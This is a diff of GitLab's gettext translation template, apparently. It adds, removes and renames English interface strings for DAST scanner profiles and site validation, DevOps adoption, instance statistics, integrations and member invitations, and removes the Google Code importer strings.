msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
